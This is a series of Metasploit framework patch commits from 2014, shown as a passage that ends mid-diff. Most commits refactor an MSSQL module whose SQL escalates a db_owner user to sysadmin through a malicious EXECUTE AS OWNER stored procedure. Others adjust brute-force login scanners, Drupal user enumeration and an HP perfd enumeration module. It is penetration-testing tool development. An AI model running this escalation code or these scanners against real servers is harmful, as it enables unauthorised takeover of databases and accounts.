a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index 17def0db86..08c4525c03 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -9,7 +9,6 @@ require 'msf/core/exploit/mssql_commands' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL - #include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, From 1584c4781ca4a135b4aba40c24d3bf83f9dc52d2 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Thu, 9 Oct 2014 06:58:15 +0200 Subject: [PATCH 066/107] Add reference --- modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb index 0840ae36f9..b6f808a934 100644 --- a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb +++ b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2014-6446'], ['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'], + ['WPVDB', '7634'] ], 'Privileged' => false, 'Platform' => 'php', From df0d4f9fb2e21eb007517f540de4672af9661d78 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 9 Oct 2014 00:06:15 -0500 Subject: [PATCH 067/107] Fix #3973 - Unneeded datastore option URI When Glassfish is installed, the web root is always /, so there is no point to make this arbitrary. --- modules/auxiliary/scanner/http/glassfish_login.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index 52da06b7da..84533936b0 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -39,8 +39,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + # There is no TARGETURI because when Glassfish is installed, the path is / Opt::RPORT(4848), - OptString.new('TARGETURI', [true, 'The URI path of the GlassFish Server', '/']), OptString.new('USERNAME',[true, 'A specific username to authenticate as','admin']), OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]), OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]) @@ -97,7 +97,6 @@ class Metasploit3 < Msf::Auxiliary @scanner = Metasploit::Framework::LoginScanner::Glassfish.new( host: ip, port: rport, - uri: datastore['URI'], proxies: datastore["PROXIES"], cred_details: @cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], From dd03e5fd7d155bb4ca1a546758639097b4c79b51 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 9 Oct 2014 10:46:51 -0500 Subject: [PATCH 068/107] Make just one connection --- .../admin/mssql/mssql_escalate_dbowner.rb | 32 ++++++++----------- 1 file changed, 14 insertions(+), 18 deletions(-) diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index 08c4525c03..d3660c79d2 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Microsoft SQL Server - Escalate Db_Owner', 'Description' => %q{ This module can be used to escalate privileges to sysadmin if the user has - the db_owner role in a "trustworthy" database owned by a sysadmin user. Once + the db_owner role in a trustworthy database owned by a sysadmin user. Once the user has the sysadmin role the msssql_payload module can be used to obtain a shell on the system. }, @@ -28,12 +28,12 @@ class Metasploit3 < Msf::Auxiliary def run # Check connection and issue initial query print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['username']}...") - if mssql_login_datastore == false + if mssql_login_datastore + print_good('Connected.') + else print_error('Login was unsuccessful. Check your credentials.') disconnect return - else - print_good('Connected.') end # Query for sysadmin status @@ -83,6 +83,9 @@ class Metasploit3 < Msf::Auxiliary end end end + + disconnect + return end # ---------------------------------------------- @@ -93,8 +96,7 @@ class Metasploit3 < Msf::Auxiliary sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" # Run query - result = mssql_query(sql, false) if mssql_login_datastore - disconnect + result = mssql_query(sql, false) # Parse query results parse_results = result[:rows] @@ -119,8 +121,7 @@ class Metasploit3 < Msf::Auxiliary begin # Run query - result = mssql_query(sql, false) if mssql_login_datastore - disconnect + result = mssql_query(sql, false) rescue # Return on fail return 0 @@ -137,12 +138,11 @@ class Metasploit3 < Msf::Auxiliary end # ---------------------------------------------- - # Method to check if user has the db_owner role + # Method to check if user has the db_owner role # ---------------------------------------------- def check_db_owner(trustdb_list) # Check if the user has the db_owner role is any databases trustdb_list.each { |db| - # Setup query sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user from [#{db[0]}].sys.database_role_members drm @@ -151,8 +151,7 @@ class Metasploit3 < Msf::Auxiliary where rp.name = 'db_owner' and mp.name = SYSTEM_USER" # Run query - result = mssql_query(sql, false) if mssql_login_datastore - disconnect + result = mssql_query(sql, false) begin # Parse query results @@ -189,8 +188,7 @@ class Metasploit3 < Msf::Auxiliary begin # Run query - mssql_query(evilsql_create, false) if mssql_login_datastore - disconnect + mssql_query(evilsql_create, false) rescue # Return error error = 'Failed to create stored procedure.' @@ -206,8 +204,7 @@ class Metasploit3 < Msf::Auxiliary begin # Run query - mssql_query(evilsql_run, false) if mssql_login_datastore - disconnect + mssql_query(evilsql_run, false) rescue # Return error error = 'Failed to run stored procedure.' @@ -223,8 +220,7 @@ class Metasploit3 < Msf::Auxiliary begin # Run query - mssql_query(evilsql_remove, false) if mssql_login_datastore - disconnect + mssql_query(evilsql_remove, false) # Return value return 1 From 615b8e5f4ae2158355548845e9e73b2f5ed5c123 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 9 Oct 2014 10:48:00 -0500 Subject: [PATCH 069/107] Make easy method comments --- .../admin/mssql/mssql_escalate_dbowner.rb | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index d3660c79d2..35d00d1198 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -88,9 +88,7 @@ class Metasploit3 < Msf::Auxiliary return end - # ---------------------------------------------- - # Method to check if user is already sysadmin - # ---------------------------------------------- + # Checks if user is already sysadmin def check_sysadmin # Setup query to check for sysadmin sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" @@ -106,9 +104,7 @@ class Metasploit3 < Msf::Auxiliary return mystatus end - # ---------------------------------------------- - # Method to get trusted databases owned by sysadmins - # ---------------------------------------------- + # Gets trusted databases owned by sysadmins def check_trustdbs # Setup query sql = "SELECT d.name AS DATABASENAME @@ -137,9 +133,7 @@ class Metasploit3 < Msf::Auxiliary end - # ---------------------------------------------- - # Method to check if user has the db_owner role - # ---------------------------------------------- + # Checks if user has the db_owner role def check_db_owner(trustdb_list) # Check if the user has the db_owner role is any databases trustdb_list.each { |db| @@ -168,9 +162,6 @@ class Metasploit3 < Msf::Auxiliary } end - # ---------------------------------------------- - # Method to escalate privileges - # ---------------------------------------------- def escalate_privs(dbowner_db) # Create the evil stored procedure WITH EXECUTE AS OWNER # Setup query From db6f6d45599f3c3eb9a78fb334bab625c2b07a79 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 9 Oct 2014 10:59:08 -0500 Subject: [PATCH 070/107] Reduce code complexity --- .../admin/mssql/mssql_escalate_dbowner.rb | 83 ++++++++++--------- 1 file changed, 43 insertions(+), 40 deletions(-) diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index 35d00d1198..ed08c06b1c 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -37,51 +37,54 @@ class Metasploit3 < Msf::Auxiliary end # Query for sysadmin status - print_status("Checking if #{datastore['username']} has the sysadmin role...") - mystatus = check_sysadmin + print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...") + user_status = check_sysadmin # Check if user has sysadmin role - if mystatus == 1 + if user_status == 1 print_good("#{datastore['username']} has the sysadmin role, no escalation required.") + disconnect + return else + print_status("You're NOT a sysadmin, let's try to change that") + end - # Check for trusted databases owned by sysadmins - print_error("You're NOT a sysadmin, let's try to change that.") - print_status("Checking for trusted databases owned by sysadmins...") - trustdb_list = check_trustdbs - if trustdb_list == 0 - print_error('No databases owned by sysadmin were found flagged as trustworthy.') + # Check for trusted databases owned by sysadmins + print_status("Checking for trusted databases owned by sysadmins...") + trust_db_list = check_trustdbs + if trust_db_list == 0 + print_error('No databases owned by sysadmin were found flagged as trustworthy.') + disconnect + return + end + + # Display list of accessible databases to user + trust_db_list.each do |db| + print_status(" - #{db[0]}") + end + + # Check if the user has the db_owner role in any of the databases + print_status('Checking if the user has the db_owner role in any of them...') + dbowner_status = check_db_owner(trust_db_list) + if dbowner_status == 0 + print_error("Fail buckets, the user doesn't have db_owner role anywhere.") + disconnect + return + end + + # Attempt to escalate to sysadmin + print_status("Attempting to escalate in #{dbowner_status}!") + escalate_status = escalate_privs(dbowner_status) + if escalate_status == 1 + # Check if escalation was successful + mystatus = check_sysadmin + if mystatus == 1 + print_good("Congrats, #{datastore['username']} is now a sysadmin!.") else - - # Display list of accessible databases to user - trustdb_list.each { |trustdb| - print_status(" - #{trustdb[0]}") - } - - # Check if the user has the db_owner role in any of the databases - print_status('Checking if the user has the db_owner role in any of them...') - dbowner_status = check_db_owner(trustdb_list) - if dbowner_status == 0 - print_error("Fail buckets, the user doesn't have db_owner role anywhere.") - else - - # Attempt to escalate to sysadmin - print_status("Attempting to escalate in #{dbowner_status}!") - escalate_status = escalate_privs(dbowner_status) - if escalate_status == 1 - - # Check if escalation was successful - mystatus = check_sysadmin - if mystatus == 1 - print_good("Congrats, #{datastore['username']} is now a sysadmin!.") - else - print_error("Fail buckets, something went wrong.") - end - else - print_error("Error: #{escalate_status}") - end - end + print_error("Fail buckets, something went wrong.") end + else + print_error("Error: #{escalate_status}") end disconnect @@ -98,10 +101,10 @@ class Metasploit3 < Msf::Auxiliary # Parse query results parse_results = result[:rows] - mystatus = parse_results[0][0] + status = parse_results[0][0] # Return status - return mystatus + return status end # Gets trusted databases owned by sysadmins From 0cd7454a64b2dcd4746489e285fdba50d00fba90 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 9 Oct 2014 11:04:42 -0500 Subject: [PATCH 071/107] Use default value for doprint --- .../admin/mssql/mssql_escalate_dbowner.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index ed08c06b1c..c665e9f368 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -77,8 +77,8 @@ class Metasploit3 < Msf::Auxiliary escalate_status = escalate_privs(dbowner_status) if escalate_status == 1 # Check if escalation was successful - mystatus = check_sysadmin - if mystatus == 1 + user_status = check_sysadmin + if user_status == 1 print_good("Congrats, #{datastore['username']} is now a sysadmin!.") else print_error("Fail buckets, something went wrong.") @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Auxiliary sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" # Run query - result = mssql_query(sql, false) + result = mssql_query(sql) # Parse query results parse_results = result[:rows] @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Auxiliary begin # Run query - result = mssql_query(sql, false) + result = mssql_query(sql) rescue # Return on fail return 0 @@ -148,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary where rp.name = 'db_owner' and mp.name = SYSTEM_USER" # Run query - result = mssql_query(sql, false) + result = mssql_query(sql) begin # Parse query results @@ -168,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary def escalate_privs(dbowner_db) # Create the evil stored procedure WITH EXECUTE AS OWNER # Setup query - evilsql_create = "use #{dbowner_db}; + evil_sql_create = "use #{dbowner_db}; DECLARE @myevil as varchar(max) set @myevil = ' CREATE PROCEDURE sp_elevate_me @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Auxiliary begin # Run query - mssql_query(evilsql_create, false) + mssql_query(evil_sql_create) rescue # Return error error = 'Failed to create stored procedure.' @@ -198,7 +198,7 @@ class Metasploit3 < Msf::Auxiliary begin # Run query - mssql_query(evilsql_run, false) + mssql_query(evil_sql_create) rescue # Return error error = 'Failed to run stored procedure.' @@ -214,7 +214,7 @@ class Metasploit3 < Msf::Auxiliary begin # Run query - mssql_query(evilsql_remove, false) + mssql_query(evilsql_remove) # Return value return 1 From bbe435f5c9d7de7861011a91a6026a1b4757fd47 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 9 Oct 2014 11:25:13 -0500 Subject: [PATCH 072/107] Don't rescue everything --- .../admin/mssql/mssql_escalate_dbowner.rb | 99 ++++++------------- 1 file changed, 28 insertions(+), 71 deletions(-) diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index c665e9f368..20e1a0aaff 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -51,16 +51,17 @@ class Metasploit3 < Msf::Auxiliary # Check for trusted databases owned by sysadmins print_status("Checking for trusted databases owned by sysadmins...") - trust_db_list = check_trustdbs - if trust_db_list == 0 + trust_db_list = check_trust_dbs + if trust_db_list.length == 0 print_error('No databases owned by sysadmin were found flagged as trustworthy.') disconnect return - end - - # Display list of accessible databases to user - trust_db_list.each do |db| - print_status(" - #{db[0]}") + else + # Display list of accessible databases to user + print_good("#{trust_db_list.length} affected database(s) were found:") + trust_db_list.each do |db| + print_status(" - #{db[0]}") + end end # Check if the user has the db_owner role in any of the databases @@ -75,16 +76,16 @@ class Metasploit3 < Msf::Auxiliary # Attempt to escalate to sysadmin print_status("Attempting to escalate in #{dbowner_status}!") escalate_status = escalate_privs(dbowner_status) - if escalate_status == 1 + if escalate_status # Check if escalation was successful user_status = check_sysadmin if user_status == 1 - print_good("Congrats, #{datastore['username']} is now a sysadmin!.") + print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.") else print_error("Fail buckets, something went wrong.") end else - print_error("Error: #{escalate_status}") + print_error("Error while trying to escalate status") end disconnect @@ -108,7 +109,7 @@ class Metasploit3 < Msf::Auxiliary end # Gets trusted databases owned by sysadmins - def check_trustdbs + def check_trust_dbs # Setup query sql = "SELECT d.name AS DATABASENAME FROM sys.server_principals r @@ -118,28 +119,16 @@ class Metasploit3 < Msf::Auxiliary inner join sys.databases d on suser_sname(d.owner_sid) = p.name WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'" - begin - # Run query - result = mssql_query(sql) - rescue - # Return on fail - return 0 - end - - # Parse query results - parse_results = result[:rows] - trustedb_count = parse_results.count - print_good("#{trustedb_count} affected database(s) were found:") + result = mssql_query(sql) # Return on success - return parse_results - + return result[:rows] end # Checks if user has the db_owner role - def check_db_owner(trustdb_list) + def check_db_owner(trust_db_list) # Check if the user has the db_owner role is any databases - trustdb_list.each { |db| + trust_db_list.each do |db| # Setup query sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user from [#{db[0]}].sys.database_role_members drm @@ -150,24 +139,19 @@ class Metasploit3 < Msf::Auxiliary # Run query result = mssql_query(sql) - begin - # Parse query results - parse_results = result[:rows] - if parse_results.any? - print_good("- db_owner on #{db[0]} found!") - return db[0] - else - return 0 - end - rescue - print_error("- No db_owner on #{db[0]}") + # Parse query results + parse_results = result[:rows] + if parse_results.any? + print_good("- db_owner on #{db[0]} found!") + return db[0] end - } + end + + nil end def escalate_privs(dbowner_db) # Create the evil stored procedure WITH EXECUTE AS OWNER - # Setup query evil_sql_create = "use #{dbowner_db}; DECLARE @myevil as varchar(max) set @myevil = ' @@ -179,49 +163,22 @@ class Metasploit3 < Msf::Auxiliary end'; exec(@myevil); select 1;" - - begin - # Run query - mssql_query(evil_sql_create) - rescue - # Return error - error = 'Failed to create stored procedure.' - return error - end + mssql_query(evil_sql_create) # Run the evil stored procedure - # Setup query evilsql_run = "use #{dbowner_db}; DECLARE @myevil2 as varchar(max) set @myevil2 = 'EXEC sp_elevate_me' exec(@myevil2);" - - begin - # Run query - mssql_query(evil_sql_create) - rescue - # Return error - error = 'Failed to run stored procedure.' - return error - end + mssql_query(evil_sql_create) # Remove evil procedure - # Setup query evilsql_remove = "use #{dbowner_db}; DECLARE @myevil3 as varchar(max) set @myevil3 = 'DROP PROCEDURE sp_elevate_me' exec(@myevil3);" + mssql_query(evilsql_remove) - begin - # Run query - mssql_query(evilsql_remove) - - # Return value - return 1 - rescue - # Return error - error = 'Failed to run stored procedure.' - return error - end + true end end From 10b160beddd1d2f85bc0c84d96ca843f9818d0a6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 9 Oct 2014 11:38:45 -0500 Subject: [PATCH 073/107] Do final cleanup --- .../admin/mssql/mssql_escalate_dbowner.rb | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index 20e1a0aaff..7e3a7d2371 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['username']}...") + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") if mssql_login_datastore print_good('Connected.') else @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary # Check if user has sysadmin role if user_status == 1 - print_good("#{datastore['username']} has the sysadmin role, no escalation required.") + print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.") disconnect return else @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary # Check for trusted databases owned by sysadmins print_status("Checking for trusted databases owned by sysadmins...") trust_db_list = check_trust_dbs - if trust_db_list.length == 0 + if trust_db_list.nil? || trust_db_list.length == 0 print_error('No databases owned by sysadmin were found flagged as trustworthy.') disconnect return @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary # Check if the user has the db_owner role in any of the databases print_status('Checking if the user has the db_owner role in any of them...') dbowner_status = check_db_owner(trust_db_list) - if dbowner_status == 0 + if dbowner_status.nil? print_error("Fail buckets, the user doesn't have db_owner role anywhere.") disconnect return @@ -141,7 +141,7 @@ class Metasploit3 < Msf::Auxiliary # Parse query results parse_results = result[:rows] - if parse_results.any? + if parse_results && parse_results.any? print_good("- db_owner on #{db[0]} found!") return db[0] end @@ -151,6 +151,7 @@ class Metasploit3 < Msf::Auxiliary end def escalate_privs(dbowner_db) + print_status("#{dbowner_db}") # Create the evil stored procedure WITH EXECUTE AS OWNER evil_sql_create = "use #{dbowner_db}; DECLARE @myevil as varchar(max) @@ -159,7 +160,7 @@ class Metasploit3 < Msf::Auxiliary WITH EXECUTE AS OWNER as begin - EXEC sp_addsrvrolemember ''#{datastore['username']}'',''sysadmin'' + EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin'' end'; exec(@myevil); select 1;" @@ -170,7 +171,7 @@ class Metasploit3 < Msf::Auxiliary DECLARE @myevil2 as varchar(max) set @myevil2 = 'EXEC sp_elevate_me' exec(@myevil2);" - mssql_query(evil_sql_create) + mssql_query(evilsql_run) # Remove evil procedure evilsql_remove = "use #{dbowner_db}; From 6ea530988ee50e4ae59fc76c4c5a7f6db80e5eb4 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 9 Oct 2014 12:57:39 -0400 Subject: [PATCH 074/107] Apply rubocop changes and remove multiline print --- modules/auxiliary/scanner/http/jenkins_login.rb | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb index 37490e0e99..a921eba05d 100644 --- a/modules/auxiliary/scanner/http/jenkins_login.rb +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -8,12 +8,11 @@ require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/jenkins' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute - + def initialize super( 'Name' => 'Jenkins-CI Login Utility', @@ -28,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary ], self.class) register_autofilter_ports([ 80, 443, 8080, 8081, 8000 ]) - + deregister_options('RHOST') end @@ -40,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary user_file: datastore['USER_FILE'], userpass_file: datastore['USERPASS_FILE'], username: datastore['USERNAME'], - user_as_pass: datastore['USER_AS_PASS'], + user_as_pass: datastore['USER_AS_PASS'] ) scanner = Metasploit::Framework::LoginScanner::Jenkins.new( @@ -53,11 +52,11 @@ class Metasploit3 < Msf::Auxiliary user_agent: datastore['UserAgent'], vhost: datastore['VHOST'] ) - + scanner.scan! do |result| credential_data = result.to_h credential_data.merge!( - module_fullname: self.fullname, + module_fullname: fullname, workspace_id: myworkspace_id ) if result.success? @@ -68,10 +67,8 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" end end - end - end From 48d2343152d207984f76445f89fcf59259e82395 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 10 Oct 2014 01:06:37 -0500 Subject: [PATCH 075/107] Fix #3985 - check command should elog --- lib/msf/ui/console/module_command_dispatcher.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index a0fd128997..6f65083ee7 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -188,16 +188,22 @@ module ModuleCommandDispatcher print_status("#{peer} - #{code[1]}") end else - print_error("#{peer} - Check failed: The state could not be determined.") + msg = "#{peer} - Check failed: The state could not be determined." + print_error(msg) + elog("#{msg}\n#{caller.join("\n")}") end - rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error + rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error => e # Connection issues while running check should be handled by the module - rescue ::RuntimeError + elog("#{e.message}\n#{e.backtrace.join("\n")}") + rescue ::RuntimeError => e # Some modules raise RuntimeError but we don't necessarily care about those when we run check() + elog("#{e.message}\n#{e.backtrace.join("\n")}") rescue Msf::OptionValidateError => e print_error("Check failed: #{e.message}") + elog("#{e.message}\n#{e.backtrace.join("\n")}") rescue ::Exception => e print_error("#{peer} - Check failed: #{e.class} #{e}") + elog("#{e.message}\n#{e.backtrace.join("\n")}") end end From 260aa8dc222927ef81fdbf25d07a6f4ed01fe57b Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 10 Oct 2014 10:23:20 -0500 Subject: [PATCH 076/107] Fix #3984 - Fix broken check for drupal_views_user_enum --- .../scanner/http/drupal_views_user_enum.rb | 32 ++++++++----------- 1 file changed, 13 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index a4c4cb34ed..4c959fa07c 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -35,11 +35,15 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('PATH', [true, "Drupal Path", "/"]) + OptString.new('TARGETURI', [true, "Drupal Path", "/"]) ], self.class) end - def check(base_uri) + def base_uri + @base_uri ||= "#{normalize_uri(target_uri.path)}?q=admin/views/ajax/autocomplete/user/" + end + + def check_host(ip) res = send_request_cgi({ 'uri' => base_uri, 'method' => 'GET', @@ -47,31 +51,21 @@ class Metasploit3 < Msf::Auxiliary }, 25) if not res - return false + return Exploit::CheckCode::Unknown elsif res and res.body =~ /\Access denied/ # This probably means the Views Module actually isn't installed - print_error("#{rhost} - Access denied") - return false + vprint_error("#{rhost} - Access denied") + return Exploit::CheckCode::Safe elsif res and res.message != 'OK' or res.body != '[ ]' - return false + return Exploit::CheckCode::Safe else - return true + return Exploit::CheckCode::Appears end end def run_host(ip) - # Make sure the URIPATH begins with '/' - datastore['PATH'] = normalize_uri(datastore['PATH']) - - # Make sure the URIPATH ends with / - if datastore['PATH'][-1,1] != '/' - datastore['PATH'] = datastore['PATH'] + '/' - end - - enum_uri = datastore['PATH'] + "?q=admin/views/ajax/autocomplete/user/" - # Check if remote host is available or appears vulnerable - if not check(enum_uri) + unless check_host(ip) == Exploit::CheckCode::Appears print_error("#{ip} does not appear to be vulnerable, will not continue") return end @@ -83,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("Iterating on letter: #{l}") res = send_request_cgi({ - 'uri' => enum_uri+l, + 'uri' => base_uri+l, 'method' => 'GET', 'headers' => { 'Connection' => 'Close' } }, 25) From 08fdb4fab277092bbeeb44f9fe6b67348457df13 Mon Sep 17 00:00:00 2001 From: Roberto Soares Espreto Date: Fri, 10 Oct 2014 13:09:36 -0300 Subject: [PATCH 077/107] Add module to enumerate environment HP via perfd daemon --- modules/auxiliary/gather/hp_enum_perfd.rb | 54 +++++++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 modules/auxiliary/gather/hp_enum_perfd.rb diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb new file mode 100644 index 0000000000..4224c44f28 --- /dev/null +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -0,0 +1,54 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Enum Environment Perfd Daemon', + 'Description' => %q{ + Enum Environment Perfd Daemon. + Commands: "u" Disks Share, "i" Disk space, "p" Process list, "a" Core CPU info, "g" Server status, "l" Network Interface (statistics in/out), "T" Scope transactions, "A" Others infos, "q" and "Q" => exit. + }, + 'Author' => [ 'Roberto Soares Espreto ' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(5227), + OptString.new("CMD", [true, 'Command to execute', 'p']) + ], self.class) + end + + def run_host(target_host) + begin + cmd = datastore['CMD'] + + connect + sock.put("\n"+cmd+"\n") + select(nil,nil,nil,0.5) + resp = sock.get_once + + if (resp and resp =~ /Welcome/) + print_status("#{target_host}:#{rport}, Perfd server banner: #{resp}") + report_service(:host => rhost, :port => rport, :name => "perfd", :proto => "tcp", :info => resp) + else + print_error("#{target_host}:#{rport}, Perfd server banner detection failed!") + end + disconnect + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + rescue Timeout::Error => e + print_error(e.message) + end + end +end From bd315d76558c28e0f940e86d44b5b53238e69e22 Mon Sep 17 00:00:00 2001 From: Roberto Soares Espreto Date: Fri, 10 Oct 2014 13:54:42 -0300 Subject: [PATCH 078/107] Changed print_good and OptEnum --- modules/auxiliary/gather/hp_enum_perfd.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb index 4224c44f28..e1947e5540 100644 --- a/modules/auxiliary/gather/hp_enum_perfd.rb +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -15,8 +15,8 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'Enum Environment Perfd Daemon', 'Description' => %q{ - Enum Environment Perfd Daemon. - Commands: "u" Disks Share, "i" Disk space, "p" Process list, "a" Core CPU info, "g" Server status, "l" Network Interface (statistics in/out), "T" Scope transactions, "A" Others infos, "q" and "Q" => exit. + This module will enumerate the environment + HP Operation Manager via daemon perfd. }, 'Author' => [ 'Roberto Soares Espreto ' ], 'License' => MSF_LICENSE @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(5227), - OptString.new("CMD", [true, 'Command to execute', 'p']) + 